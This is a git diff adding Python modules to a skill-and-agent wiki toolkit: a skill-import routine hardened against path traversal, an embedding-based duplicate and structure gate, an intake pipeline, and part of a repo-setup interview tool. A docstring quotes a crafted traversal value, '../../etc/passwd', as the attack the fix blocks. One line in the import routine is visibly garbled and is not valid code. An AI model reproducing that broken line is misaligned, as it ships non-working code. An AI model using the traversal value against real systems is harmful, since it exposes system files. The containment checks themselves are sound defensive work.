+_SAFE_CATEGORY_RE = re.compile(r"^[a-z0-9][a-z0-9_-]{0,63}$")
+
+
+def _validate_manifest_field(field: str, value: object, *, regex: re.Pattern[str] | None = None) -> str:
+    """Reject manifest values that could escape the intended trust boundary."""
+    if not isinstance(value, str) or not value:
+        raise ValueError(f"{field}: expected non-empty string, got {type(value).__name__}")
+    if regex is not None and not regex.match(value):
+        raise ValueError(f"{field}: {value!r} failed strict format check")
+    return value
+
+
+def _resolve_within(root: Path, candidate_rel: str, *, field: str) -> Path:
+    """Join ``candidate_rel`` onto ``root`` and fail hard if the result escapes root.
+
+    Strix finding vuln-0001 (Path Traversal in Strix Skill Import): the
+    manifest's ``source_path`` was concatenated directly onto IMPORT_ROOT,
+    so a crafted value like ``../../etc/passwd`` would be happily read
+    and re-written into the target skills tree. Resolve both sides and
+    enforce ``relative_to`` containment before we touch the filesystem.
+    """
+    if ".." in Path(candidate_rel).parts or candidate_rel.startswith(("/", "\\")):
+        raise ValueError(f"{field}: path traversal denied in {candidate_rel!r}")
+    resolved = (root / candidate_rel).resolve()
+    root_resolved = root.resolve()
+    try:
+        resolved.relative_to(root_resolved)
+    except ValueError as exc:
+        raise ValueError(
+            f"{field}: {candidate_rel!r} resolves outside import root"
+        ) from exc
+    return resolved
+
+
+def deploy_entry(entry: dict, manifest: dict, target_dir: Path, dry_run: bool) -> tuple[Path, bool]:
+    # Manifest fields are untrusted input (the repo's imported-skills/
+    # MANIFEST.json is checked-in today, but the path from parsing to
+    # filesystem write must still be defensible). Validate category
+    # against a strict allowlist, contain source_path inside IMPORT_ROOT.
+    category = _validate_manifest_field("category", entry.get("category"), regex=_SAFE_CATEGORY_RE)
+    source_path_raw = _validate_manifest_field("source_path", entry.get("source_path"))
+    source = _resolve_within(IMPORT_ROOT, source_path_raw, field="source_path")
+
+    if not source.exists():
+        raise FileNotFoundError(f"Source skill missing: {source}")
+
+    dir_name = f"strix-{category}-{slugify(entry['name'])}"
+    skill_dir = target_dir / dir_name
+    # Same containment check on the destination — dir_name is built from
+    # validated inputs but slugify() on entry['name'] is defensive too.
+    dest_resolved = skill_dir.resolve()
+    target_resolved = target_dir.resolve()
+    try:
+        dest_resolved.relative_to(target_resolved)
+    except ValueError as exc:
+        raise ValueError(
+            f"skill dir {skill_dir} resolves outside target_dir"
+        ) from exc
+    dest = skill_dir / "SKILL.md"
+
+    header = render_attribution_header(entry, manifest)
+    body = source.read_text(encoding="utf-8")
+    if body.startswith("", 1)[1].lstrip("\n")
+    content = header + body
+
+    changed = True
+    if dest.exists():
+        existing = dest.read_text(encoding="utf-8")
+        changed = existing != content
+
+    if not dry_run and changed:
+        skill_dir.mkdir(parents=True, exist_ok=True)
+        dest.write_text(content, encoding="utf-8")
+
+    return dest, changed
+
+
+def main() -> None:
+    parser = argparse.ArgumentParser(description=__doc__)
+    parser.add_argument("--install", action="store_true", help="Write to target dir")
+    parser.add_argument("--dry-run", action="store_true", help="Preview without writing")
+    parser.add_argument(
+        "--target",
+        default=str(cfg.skills_dir),
+        help=f"Target skills dir (default: {cfg.skills_dir})",
+    )
+    args = parser.parse_args()
+
+    if not args.install and not args.dry_run:
+        parser.error("Pass either --install or --dry-run")
+
+    manifest = load_manifest()
+    target_dir = Path(args.target).expanduser()
+
+    if args.install and not target_dir.exists():
+        print(f"Creating target dir: {target_dir}")
+        target_dir.mkdir(parents=True, exist_ok=True)
+
+    created = updated = unchanged = 0
+    for entry in manifest["entries"]:
+        dest, changed = deploy_entry(entry, manifest, target_dir, dry_run=args.dry_run)
+        if changed:
+            if dest.exists() and not args.dry_run:
+                updated += 1
+                marker = "UPD"
+            else:
+                created += 1
+                marker = "NEW"
+        else:
+            unchanged += 1
+            marker = "   "
+        print(f"  [{marker}] {dest.relative_to(target_dir.parent)}")
+
+    mode = "dry-run" if args.dry_run else "install"
+    print()
+    print(f"Mode: {mode}  target: {target_dir}")
+    print(f"Entries: {len(manifest['entries'])}  new/updated: {created + updated}  unchanged: {unchanged}")
+
+    if args.install:
+        print()
+        print("Next steps:")
+        print(f"  python src/catalog_builder.py --wiki {cfg.wiki_dir} --skills-dir {target_dir} \\")
+        print(f"      --agents-dir {cfg.agents_dir}")
+        print("  python src/wiki_batch_entities.py --all")
+        print("  python src/wiki_graphify.py")
+
+
+if __name__ == "__main__":
+    main()
diff --git a/src/intake_gate.py b/src/intake_gate.py
new file mode 100644
index 0000000000000000000000000000000000000000..dc312ea5710305e79f66d3d1eb42dfea4f808e94
--- /dev/null
+++ b/src/intake_gate.py
@@ -0,0 +1,378 @@
+#!/usr/bin/env python3
+"""
+intake_gate.py -- Quality gate for new skills and agents.
+
+Invoked by ``skill_add`` / ``agent_add`` before a candidate is written
+into the wiki. Runs three families of checks:
+
+  1. Structural hard-fail checks (M2.6)
+     - Parseable frontmatter with ``name`` + ``description``
+     - Body has an H1 title
+     - Body has at least one H2 section
+     - Body meets a minimum length
+
+  2. Similarity checks (M2.4)
+     - Embed the candidate once, rank against the pre-built corpus
+     - ``duplicate``: top score >= ``dup_threshold`` (default 0.93)
+     - ``near-duplicate``: top score in
+       ``[near_dup_threshold, dup_threshold)`` (default 0.80)
+
+  3. Connectivity check (M2.5)
+     - When enabled, require ``min_neighbors`` rows scoring at least
+       ``min_neighbor_score``. Prevents dropping an orphaned subject
+       into the wiki with no semantic anchor.
+
+The three families share one embedding call — the candidate is embedded
+once and ranked top-K, where K is large enough to cover both the
+similarity ceiling and the connectivity floor.
+
+``IntakeDecision`` (M2.7) aggregates findings. ``allow`` is False iff at
+least one finding has severity ``"fail"``. Warnings surface to the
+caller but do not block intake; the caller may present them to the
+user who can override explicitly.
+"""
+
+from __future__ import annotations
+
+import re
+from dataclasses import dataclass, field
+from typing import Literal
+
+import numpy as np
+
+from cosine_ranker import CosineRanker, RankedMatch
+from embedding_backend import Embedder
+from ctx.core.wiki.wiki_utils import parse_frontmatter_and_body
+
+
+Severity = Literal["warn", "fail"]
+
+# Default thresholds. Rationale (tuned M2.10 against the 70-pair fixture
+# corpus — see scripts/tune_similarity_thresholds.py for the sweep):
+#   dup       0.93  two subjects that are this close on MiniLM embeddings
+#                   overlap heavily in topic AND phrasing — one shadows
+#                   the other at routing time, so we refuse the later
+#                   one and ask the caller to merge.
+#   near_dup  0.80  sits centrally in the empirical gap between
+#                   adversarial pairs (max 0.76) and genuine near-dupes
+#                   (min 0.82). Delivers P=1.00 / R=1.00 on the corpus.
+_DEFAULT_DUP_THRESHOLD = 0.93
+_DEFAULT_NEAR_DUP_THRESHOLD = 0.80
+
+# Connectivity: off by default (min_neighbors=0). When enabled, we want
+# the candidate to land in a non-empty neighborhood — a wikilink target
+# survives even if the nearest match is only moderately similar.
+_DEFAULT_MIN_NEIGHBORS = 0
+_DEFAULT_MIN_NEIGHBOR_SCORE = 0.30
+
+# Body length floor. Well under the real minimum for a useful skill
+# (real skills are >100 lines) but enough to catch empty-stub entries.
+_DEFAULT_MIN_BODY_CHARS = 120
+
+# Cap how much of the candidate text is embedded. MiniLM truncates at
+# 512 tokens anyway; this bounds the CPU cost on pathological inputs.
+_MAX_EMBED_CHARS = 8000
+
+# K for the ranker call. Big enough that the connectivity check has
+# room to look beyond the nearest neighbor without a second round-trip.
+_RANK_K = 10
+
+_H1_RE = re.compile(r"^\#\s+\S", re.MULTILINE)
+_H2_RE = re.compile(r"^\#\#\s+\S", re.MULTILINE)
+
+
+# ────────────────────────────────────────────────────────────────────
+# Config and decision types
+# ────────────────────────────────────────────────────────────────────
+
+
+@dataclass(frozen=True)
+class IntakeConfig:
+    """Thresholds for the intake gate.
+
+    Immutable by design — callers that want different thresholds pass
+    a fresh instance instead of mutating a shared one. Defaults are
+    tuned against the M2.10 fixture corpus (dup=0.93, near-dup=0.80).
+    """
+
+    dup_threshold: float = _DEFAULT_DUP_THRESHOLD
+    near_dup_threshold: float = _DEFAULT_NEAR_DUP_THRESHOLD
+    min_neighbors: int = _DEFAULT_MIN_NEIGHBORS
+    min_neighbor_score: float = _DEFAULT_MIN_NEIGHBOR_SCORE
+    min_body_chars: int = _DEFAULT_MIN_BODY_CHARS
+
+    def __post_init__(self) -> None:
+        if not 0.0 <= self.near_dup_threshold <= self.dup_threshold <= 1.0:
+            raise ValueError(
+                "thresholds must satisfy "
+                "0 <= near_dup_threshold <= dup_threshold <= 1; "
+                f"got near_dup={self.near_dup_threshold}, dup={self.dup_threshold}"
+            )
+        if self.min_neighbors < 0:
+            raise ValueError("min_neighbors must be >= 0")
+        if not 0.0 <= self.min_neighbor_score <= 1.0:
+            raise ValueError("min_neighbor_score must be in [0, 1]")
+        if self.min_body_chars < 0:
+            raise ValueError("min_body_chars must be >= 0")
+
+
+@dataclass(frozen=True)
+class IntakeFinding:
+    """One check outcome. Only warn/fail findings are emitted; passes
+    are implicit."""
+
+    code: str
+    severity: Severity
+    message: str
+
+
+@dataclass(frozen=True)
+class IntakeDecision:
+    """Aggregate result of the intake gate."""
+
+    allow: bool
+    findings: tuple[IntakeFinding, ...] = field(default_factory=tuple)
+    nearest: tuple[RankedMatch, ...] = field(default_factory=tuple)
+
+    @property
+    def failures(self) -> tuple[IntakeFinding, ...]:
+        return tuple(f for f in self.findings if f.severity == "fail")
+
+    @property
+    def warnings(self) -> tuple[IntakeFinding, ...]:
+        return tuple(f for f in self.findings if f.severity == "warn")
+
+
+# ────────────────────────────────────────────────────────────────────
+# Text normalisation
+# ────────────────────────────────────────────────────────────────────
+
+
+def compose_corpus_text(raw_md: str) -> str:
+    """Canonical text used for both corpus build and candidate embed.
+
+    The intake gate compares candidates against a corpus that MUST have
+    been embedded with the same text strategy — otherwise cosine scores
+    are meaningless. Exporting this helper lets the corpus builder and
+    the gate share one source of truth.
+
+    Strategy: ``description`` (if present) + body, joined by a newline.
+    Frontmatter keys other than description are ignored — they're
+    metadata and noise, not content.
+    """
+    fm, body = parse_frontmatter_and_body(raw_md)
+    desc = fm.get("description", "")
+    parts: list[str] = []
+    if isinstance(desc, str) and desc.strip():
+        parts.append(desc.strip())
+    if body.strip():
+        parts.append(body.strip())
+    text = "\n".join(parts)
+    return text[:_MAX_EMBED_CHARS]
+
+
+# ────────────────────────────────────────────────────────────────────
+# Individual check families
+# ────────────────────────────────────────────────────────────────────
+
+
+@dataclass(frozen=True)
+class _Parsed:
+    """Output of candidate parsing — reused across checks."""
+
+    frontmatter: dict[str, object]
+    body: str
+    has_frontmatter: bool
+
+
+def _parse_candidate(raw_md: str) -> _Parsed:
+    # parse_frontmatter_and_body returns ({}, text) when no block is
+    # found; detect that case explicitly so we can emit a clean error.
+    fm, body = parse_frontmatter_and_body(raw_md)
+    has_fm = raw_md.lstrip().startswith("---")
+    return _Parsed(frontmatter=fm, body=body, has_frontmatter=has_fm)
+
+
+def _check_structure(
+    parsed: _Parsed, config: IntakeConfig
+) -> list[IntakeFinding]:
+    out: list[IntakeFinding] = []
+    if not parsed.has_frontmatter or not parsed.frontmatter:
+        out.append(IntakeFinding(
+            code="FRONTMATTER_MISSING",
+            severity="fail",
+            message="candidate has no parseable YAML frontmatter block",
+        ))
+        # Without a frontmatter we cannot check field presence, so
+        # return early with the single blocking finding.
+        return out
+
+    name = parsed.frontmatter.get("name")
+    if not isinstance(name, str) or not name.strip():
+        out.append(IntakeFinding(
+            code="FRONTMATTER_FIELD_MISSING_NAME",
+            severity="fail",
+            message="frontmatter missing required field 'name'",
+        ))
+
+    desc = parsed.frontmatter.get("description")
+    if not isinstance(desc, str) or not desc.strip():
+        out.append(IntakeFinding(
+            code="FRONTMATTER_FIELD_MISSING_DESCRIPTION",
+            severity="fail",
+            message="frontmatter missing required field 'description'",
+        ))
+
+    body = parsed.body
+    if not _H1_RE.search(body):
+        out.append(IntakeFinding(
+            code="BODY_MISSING_H1",
+            severity="fail",
+            message="body has no H1 heading (`# Title`)",
+        ))
+    if not _H2_RE.search(body):
+        out.append(IntakeFinding(
+            code="BODY_MISSING_H2",
+            severity="fail",
+            message="body has no H2 section (`## Section`)",
+        ))
+    if len(body.strip()) < config.min_body_chars:
+        out.append(IntakeFinding(
+            code="BODY_TOO_SHORT",
+            severity="fail",
+            message=(
+                f"body has {len(body.strip())} chars; "
+                f"minimum is {config.min_body_chars}"
+            ),
+        ))
+    return out
+
+
+def _check_similarity(
+    top: list[RankedMatch], config: IntakeConfig
+) -> list[IntakeFinding]:
+    if not top:
+        return []
+    best = top[0]
+    if best.score >= config.dup_threshold:
+        return [IntakeFinding(
+            code="DUPLICATE",
+            severity="fail",
+            message=(
+                f"near-identical match: {best.subject_id!r} "
+                f"scores {best.score:.3f} "
+                f"(>= dup threshold {config.dup_threshold:.2f})"
+            ),
+        )]
+    if best.score >= config.near_dup_threshold:
+        return [IntakeFinding(
+            code="NEAR_DUPLICATE",
+            severity="warn",
+            message=(
+                f"similar subject exists: {best.subject_id!r} "
+                f"scores {best.score:.3f} "
+                f"(>= near-dup threshold {config.near_dup_threshold:.2f})"
+            ),
+        )]
+    return []
+
+
+def _check_connectivity(
+    top: list[RankedMatch], config: IntakeConfig, corpus_size: int
+) -> list[IntakeFinding]:
+    if config.min_neighbors <= 0:
+        return []
+    # A tiny corpus cannot fulfil the connectivity requirement by
+    # definition — don't punish early adopters. Skip silently.
+    if corpus_size < config.min_neighbors:
+        return []
+    qualified = sum(
+        1 for m in top[: config.min_neighbors]
+        if m.score >= config.min_neighbor_score
+    )
+    if qualified < config.min_neighbors:
+        return [IntakeFinding(
+            code="LOW_CONNECTIVITY",
+            severity="warn",
+            message=(
+                f"only {qualified} of required {config.min_neighbors} "
+                f"neighbors scored >= {config.min_neighbor_score:.2f}; "
+                "candidate may land as an orphan in the wiki graph"
+            ),
+        )]
+    return []
+
+
+# ────────────────────────────────────────────────────────────────────
+# Public entry point
+# ────────────────────────────────────────────────────────────────────
+
+
+def run_intake_gate(
+    raw_md: str,
+    *,
+    embedder: Embedder,
+    ranker: CosineRanker,
+    config: IntakeConfig | None = None,
+) -> IntakeDecision:
+    """Run all three check families against a single candidate.
+
+    Structural failures short-circuit similarity and connectivity:
+    without valid frontmatter we don't know what we're embedding, and
+    a broken candidate should be fixed before anyone compares it.
+    """
+    cfg = config or IntakeConfig()
+    parsed = _parse_candidate(raw_md)
+
+    structure_findings = _check_structure(parsed, cfg)
+    if any(f.severity == "fail" for f in structure_findings):
+        return IntakeDecision(
+            allow=False,
+            findings=tuple(structure_findings),
+            nearest=(),
+        )
+
+    if ranker.size == 0:
+        # First subject in a fresh corpus. Structure passes, nothing to
+        # compare against, nothing to anchor to.
+        return IntakeDecision(
+            allow=True,
+            findings=tuple(structure_findings),
+            nearest=(),
+        )
+
+    text = compose_corpus_text(raw_md)
+    vec = embedder.embed([text])
+    if vec.shape[0] != 1 or vec.ndim != 2:
+        raise RuntimeError(
+            f"embedder returned unexpected shape {vec.shape}; expected (1, dim)"
+        )
+    query = np.ascontiguousarray(vec[0], dtype=np.float32)
+    if query.shape[0] != ranker.dim:
+        raise ValueError(
+            f"embedder dim {query.shape[0]} does not match corpus dim {ranker.dim}; "
+            "rebuild the corpus with the same embedder"
+        )
+
+    top = ranker.topk(query, k=min(_RANK_K, ranker.size))
+
+    findings = list(structure_findings)
+    findings.extend(_check_similarity(top, cfg))
+    findings.extend(_check_connectivity(top, cfg, ranker.size))
+
+    allow = not any(f.severity == "fail" for f in findings)
+    return IntakeDecision(
+        allow=allow,
+        findings=tuple(findings),
+        nearest=tuple(top),
+    )
+
+
+__all__ = [
+    "IntakeConfig",
+    "IntakeFinding",
+    "IntakeDecision",
+    "Severity",
+    "compose_corpus_text",
+    "run_intake_gate",
+]
diff --git a/src/intake_pipeline.py b/src/intake_pipeline.py
new file mode 100644
index 0000000000000000000000000000000000000000..aa0377aada39e4a4484b2acc8781a5657e6787f7
--- /dev/null
+++ b/src/intake_pipeline.py
@@ -0,0 +1,161 @@
+#!/usr/bin/env python3
+"""
+intake_pipeline.py -- Compose the intake gate with cache + ranker lifecycle.
+
+``skill_add`` and ``agent_add`` both want the same operation:
+
+    1. Embed a candidate once.
+    2. Compare it against the existing corpus via :mod:`cosine_ranker`.
+    3. Run structural + similarity + connectivity checks via
+       :mod:`intake_gate`.
+    4. On acceptance, write the new vector into the corpus cache so the
+       next candidate can rank against it.
+
+Centralising that here keeps the two CLIs free of embedding knowledge and
+ensures both paths use identical text normalisation, thresholds, and
+cache keys.
+
+Subject-type namespacing
+------------------------
+Skills and agents share the embedding model but live in separate ranking
+spaces — a new agent should not collide with a skill of the same name
+just because their bodies are similar. The cache directory key is
+``"{subject_type}:{embedder.name}"``. Subject type is placed first so
+the discriminator survives the 64-char slug cap applied by
+:class:`corpus_cache.CorpusCache`.
+
+Testability
+-----------
+``_cached_embedder`` is process-local and reset via :func:`reset_cache`.
+Tests patch ``cfg.build_intake_embedder`` to inject a fake that does not
+require sentence-transformers. Production code never touches the reset.
+"""
+
+from __future__ import annotations
+
+from corpus_cache import CorpusCache
+from cosine_ranker import CosineRanker
+from ctx_config import cfg
+from embedding_backend import Embedder
+from intake_gate import IntakeDecision, compose_corpus_text, run_intake_gate
+
+
+# Only these subject types have a dedicated ranking space. Extending
+# this set requires a paired migration of any existing cache.
+#
+# Cache key format: ``"{subject_type}:{embedder.name}"`` — see
+# ``_cache_for`` below. Adding a new subject type creates a fresh
+# vector space; existing skills/agents caches are untouched.
+_SUBJECT_TYPES = frozenset({"skills", "agents", "mcp-servers"})
+
+# Single-slot embedder cache. Reused across ``check_intake`` +
+# ``record_embedding`` calls in the same process so the
+# sentence-transformers model loads once even in batch mode.
+_cached_embedder: Embedder | None = None
+
+
+class IntakeRejected(RuntimeError):
+    """Raised when the intake gate declines a candidate.
+
+    Carries the full :class:`IntakeDecision` so callers can render
+    findings back to the user without a re-run.
+    """
+
+    def __init__(self, decision: IntakeDecision) -> None:
+        failures = decision.failures
+        if failures:
+            detail = "\n".join(f"  - {f.code}: {f.message}" for f in failures)
+            super().__init__(f"intake gate rejected candidate:\n{detail}")
+        else:
+            super().__init__("intake gate rejected candidate")
+        self.decision = decision
+
+
+def reset_cache() -> None:
+    """Clear the process-local embedder cache.
+
+    Exposed for tests and for callers that hot-swap the intake config at
+    runtime. Production ``skill_add`` / ``agent_add`` invocations never
+    need to call this.
+    """
+    global _cached_embedder
+    _cached_embedder = None
+
+
+def _require_subject_type(subject_type: str) -> None:
+    if subject_type not in _SUBJECT_TYPES:
+        raise ValueError(
+            f"subject_type must be one of {sorted(_SUBJECT_TYPES)!r}; "
+            f"got {subject_type!r}"
+        )
+
+
+def _embedder() -> Embedder:
+    global _cached_embedder
+    if _cached_embedder is None:
+        _cached_embedder = cfg.build_intake_embedder()
+    return _cached_embedder
+
+
+def _cache_for(embedder: Embedder, subject_type: str) -> CorpusCache:
+    # Subject type goes first in the key so it survives the 64-char
+    # slug cap applied inside CorpusCache. Embedder.name is appended so
+    # switching models lands in a separate directory rather than mixing
+    # dimensions (ST=384 vs Ollama=768).
+    return CorpusCache(
+        f"{subject_type}:{embedder.name}",
+        root=cfg.intake_cache_root,
+    )
+
+
+def check_intake(raw_md: str, subject_type: str) -> IntakeDecision:
+    """Run the intake gate against the current corpus for ``subject_type``.
+
+    Short-circuits to an ``allow=True`` decision when
+    ``cfg.intake_enabled`` is False so the call sites in ``skill_add``
+    and ``agent_add`` stay flat.
+    """
+    _require_subject_type(subject_type)
+    if not cfg.intake_enabled:
+        return IntakeDecision(allow=True)
+    embedder = _embedder()
+    ranker = CosineRanker.from_cache(_cache_for(embedder, subject_type))
+    return run_intake_gate(
+        raw_md,
+        embedder=embedder,
+        ranker=ranker,
+        config=cfg.build_intake_config(),
+    )
+
+
+def record_embedding(
+    *, subject_id: str, raw_md: str, subject_type: str
+) -> None:
+    """Embed ``raw_md`` and store the vector under ``subject_id``.
+
+    No-op when intake is disabled. Empty corpus text (candidate with no
+    description and empty body) is also a no-op — the structural gate
+    should have blocked it upstream, but we guard here so callers that
+    skip the gate don't inject junk vectors.
+    """
+    _require_subject_type(subject_type)
+    if not cfg.intake_enabled:
+        return
+    text = compose_corpus_text(raw_md)
+    if not text.strip():
+        return
+    embedder = _embedder()
+    vecs = embedder.embed([text])
+    if vecs.shape[0] != 1:
+        raise RuntimeError(
+            f"embedder returned {vecs.shape[0]} rows for a single-text batch"
+        )
+    _cache_for(embedder, subject_type).put(subject_id, text, vecs[0])
+
+
+__all__ = [
+    "IntakeRejected",
+    "check_intake",
+    "record_embedding",
+    "reset_cache",
+]
diff --git a/src/intent_interview.py b/src/intent_interview.py
new file mode 100644
index 0000000000000000000000000000000000000000..bfd17c0d1e34705d1d7427be20d90c1784d58aa3
--- /dev/null
+++ b/src/intent_interview.py
@@ -0,0 +1,705 @@
+#!/usr/bin/env python3
+"""
+intent_interview.py -- New-repo / existing-repo intent interview.
+
+The "fresh-repo-init" toolbox exists so that an unfamiliar repo can bootstrap
+its toolbox set without a human designing one from scratch. This module is
+the brain behind that toolbox:
+
+  1. Inspect repo state (git? commits? languages? existing toolbox config?).
+  2. Build a structured question list from that state (plus any behaviour
+     profile already on disk).
+  3. Accept answers either interactively (stdin) or structurally (--accept
+     key=value pairs, or --preset for a canned flow).
+  4. Return an InterviewResult that a caller can apply to the global
+     ToolboxSet via ``apply_result`` -- writes are explicit and atomic.
+
+Design choices:
+- *Three* answer paths per spec: interactive, structured (non-interactive),
+  or skip entirely. No UI framework \u2014 plain stdin, plain argparse.
+- The module produces an InterviewResult; it does not mutate global config
+  unless ``apply_result`` is called explicitly. This keeps dry-runs safe.
+- Suggestions come from the persisted BehaviorProfile (if any). The
+  interviewer *surfaces* them but never auto-accepts \u2014 the user chooses.
+- Starter templates are discovered via the existing toolbox.py loader so
+  there is exactly one source of truth for what "fresh-repo-init" offers.
+
+CLI:
+  python intent_interview.py detect                   # print RepoState
+  python intent_interview.py init                     # interactive flow
+  python intent_interview.py init --non-interactive \\
+      --starters ship-it,security-sweep \\
+      --suggestions 1,3                               # pre-answered flow
+  python intent_interview.py init --skip              # skip, write nothing
+  python intent_interview.py init --preset blank      # auto blank-repo preset
+  python intent_interview.py init --preset existing   # auto existing-repo preset
+"""
+
+from __future__ import annotations
+
+import argparse
+import json
+import subprocess
+import sys
+from collections import Counter
+from dataclasses import asdict, dataclass
+from pathlib import Path
+from typing import Any, Callable, Iterable, Sequence
+
+from behavior_miner import BehaviorProfile, build_profile, load_profile
+from toolbox_config import (
+    Toolbox,
+    ToolboxSet,
+    global_config_path,
+    load_global,
+    merged,
+    save_global,
+)
+
+
+STARTER_NAMES = (
+    "ship-it",
+    "security-sweep",
+    "refactor-safety",
+    "docs-review",
+    "fresh-repo-init",
+)
+
+# Map common file extensions onto our scope.signals vocabulary so a
+# newly-cloned repo can be characterised without any prior intent-log.
+_EXT_TO_SIGNAL: dict[str, str] = {
+    ".py": "python",
+    ".ts": "typescript",
+    ".tsx": "typescript",
+    ".js": "javascript",
+    ".jsx": "javascript",
+    ".go": "golang",
+    ".rs": "rust",
+    ".java": "java",
+    ".kt": "kotlin",
+    ".swift": "swift",
+    ".rb": "ruby",
+    ".php": "php",
+    ".cs": "csharp",
+    ".cpp": "cpp",
+    ".cc": "cpp",
+    ".c": "c",
+    ".h": "c",
+    ".hpp": "cpp",
+    ".sh": "bash",
+    ".sql": "sql",
+    ".tf": "terraform",
+}
+
+# If a marker file is present we can infer a richer signal than the
+# extension alone gives us (e.g. pyproject.toml => python).
+_MARKER_TO_SIGNAL: dict[str, str] = {
+    "pyproject.toml": "python",
+    "requirements.txt": "python",
+    "Pipfile": "python",
+    "package.json": "javascript",
+    "tsconfig.json": "typescript",
+    "go.mod": "golang",
+    "Cargo.toml": "rust",
+    "pom.xml": "java",
+    "build.gradle": "java",
+    "build.gradle.kts": "kotlin",
+    "Gemfile": "ruby",
+    "composer.json": "php",
+    "Dockerfile": "docker",
+    "docker-compose.yml": "docker",
+    "docker-compose.yaml": "docker",
+    ".terraform": "terraform",
+    "mkdocs.yml": "mkdocs",
+}
+
+MAX_FILES_FOR_LANG_SCAN = 200
+
+
+# \u2500\u2500 Data model \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500
+
+
+@dataclass(frozen=True)
+class RepoState:
+    repo_root: str
+    is_git_repo: bool
+    commit_count: int
+    tracked_file_count: int
+    top_languages: tuple[tuple[str, int], ...]   # (signal, weight)
+    has_toolbox_config: bool
+    existing_active: tuple[str, ...]
+    detected_markers: tuple[str, ...]
+
+    @property
+    def is_blank(self) -> bool:
+        """
+        A 'blank' repo = not a git repo at all, OR a git repo with zero
+        commits, OR a git repo with commits but no discernible language
+        signals and no existing toolbox config. Blank repos get the
+        starter-picker flow; populated repos get the suggestion-first flow.
+        """
+        if not self.is_git_repo:
+            return True
+        if self.commit_count == 0:
+            return True
+        if not self.top_languages and not self.has_toolbox_config:
+            return True
+        return False
+
+    def to_dict(self) -> dict:
+        return asdict(self)
+
+
+@dataclass(frozen=True)
+class InterviewQuestion:
+    id: str
+    prompt: str
+    choices: tuple[tuple[str, str], ...]  # (value, label)
+    multi: bool = False
+    default: str | None = None
+
+
+@dataclass(frozen=True)
+class InterviewResult:
+    activated: tuple[str, ...]
+    accepted_suggestions: tuple[dict, ...]
+    skipped: bool
+    notes: tuple[str, ...] = ()
+
+    def to_dict(self) -> dict:
+        return asdict(self)
+
+
+# \u2500\u2500 State detection \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500
+
+
+def _is_git_repo(repo_root: Path) -> bool:
+    try:
+        out = subprocess.check_output(
+            ["git", "-C", str(repo_root), "rev-parse", "--is-inside-work-tree"],
+            text=True,
+            stderr=subprocess.DEVNULL,
+        )
+        return out.strip() == "true"
+    except (subprocess.CalledProcessError, FileNotFoundError):
+        return False
+
+
+def _commit_count(repo_root: Path) -> int:
+    try:
+        out = subprocess.check_output(
+            ["git", "-C", str(repo_root), "rev-list", "--count", "HEAD"],
+            text=True,
+            stderr=subprocess.DEVNULL,
+        )
+        return int(out.strip() or 0)
+    except (subprocess.CalledProcessError, FileNotFoundError, ValueError):
+        return 0
+
+
+def _tracked_files(repo_root: Path) -> list[str]:
+    try:
+        out = subprocess.check_output(
+            ["git", "-C", str(repo_root), "ls-files"],
+            text=True,
+            stderr=subprocess.DEVNULL,
+        )
+    except (subprocess.CalledProcessError, FileNotFoundError):
+        return []
+    return [ln.strip() for ln in out.splitlines() if ln.strip()]
+
+
+def _walk_files(repo_root: Path, limit: int) -> list[str]:
+    """Fallback for non-git repos: walk top-level + one level down."""
+    out: list[str] = []
+    try:
+        for entry in repo_root.iterdir():
+            if entry.name.startswith((".git", ".venv", "__pycache__", "node_modules")):
+                continue
+            if entry.is_file():
+                out.append(entry.name)
+            elif entry.is_dir():
+                try:
+                    for sub in entry.iterdir():
+                        if sub.is_file():
+                            out.append(f"{entry.name}/{sub.name}")
+                            if len(out) >= limit:
+                                return out
+                except OSError:
+                    continue
+            if len(out) >= limit:
+                break
+    except OSError:
+        pass
+    return out
+
+
+def _score_languages(files: Iterable[str]) -> Counter:
+    counter: Counter = Counter()
+    for path in files:
+        ext = Path(path).suffix.lower()
+        sig = _EXT_TO_SIGNAL.get(ext)
+        if sig:
+            counter[sig] += 1
+    return counter
+
+
+def _detect_markers(repo_root: Path) -> tuple[list[str], set[str]]:
+    found: list[str] = []
+    signals: set[str] = set()
+    for name, signal in _MARKER_TO_SIGNAL.items():
+        if (repo_root / name).exists():
+            found.append(name)
+            signals.add(signal)
+    return found, signals
+
+
+def detect_state(repo_root: Path | None = None) -> RepoState:
+    root = (repo_root or Path.cwd()).resolve()
+
+    is_repo = _is_git_repo(root)
+    commits = _commit_count(root) if is_repo else 0
+
+    if is_repo:
+        files = _tracked_files(root)[:MAX_FILES_FOR_LANG_SCAN]
+    else:
+        files = _walk_files(root, MAX_FILES_FOR_LANG_SCAN)
+
+    lang_counter = _score_languages(files)
+    markers, marker_signals = _detect_markers(root)
+    for sig in marker_signals:
+        # Markers weigh 5 each so they surface even when a repo has
+        # few actual files (e.g. bootstrap-ready templates).
+        lang_counter[sig] += 5
+
+    top = tuple(lang_counter.most_common(5))
+
+    tset = merged(repo_root=root)
+    return RepoState(
+        repo_root=str(root),
+        is_git_repo=is_repo,
+        commit_count=commits,
+        tracked_file_count=len(files),
+        top_languages=top,
+        has_toolbox_config=bool(tset.toolboxes),
+        existing_active=tset.active,
+        detected_markers=tuple(markers),
+    )
+
+
+# \u2500\u2500 Question construction \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500
+
+
+def _starter_choices(existing_active: Sequence[str]) -> tuple[tuple[str, str], ...]:
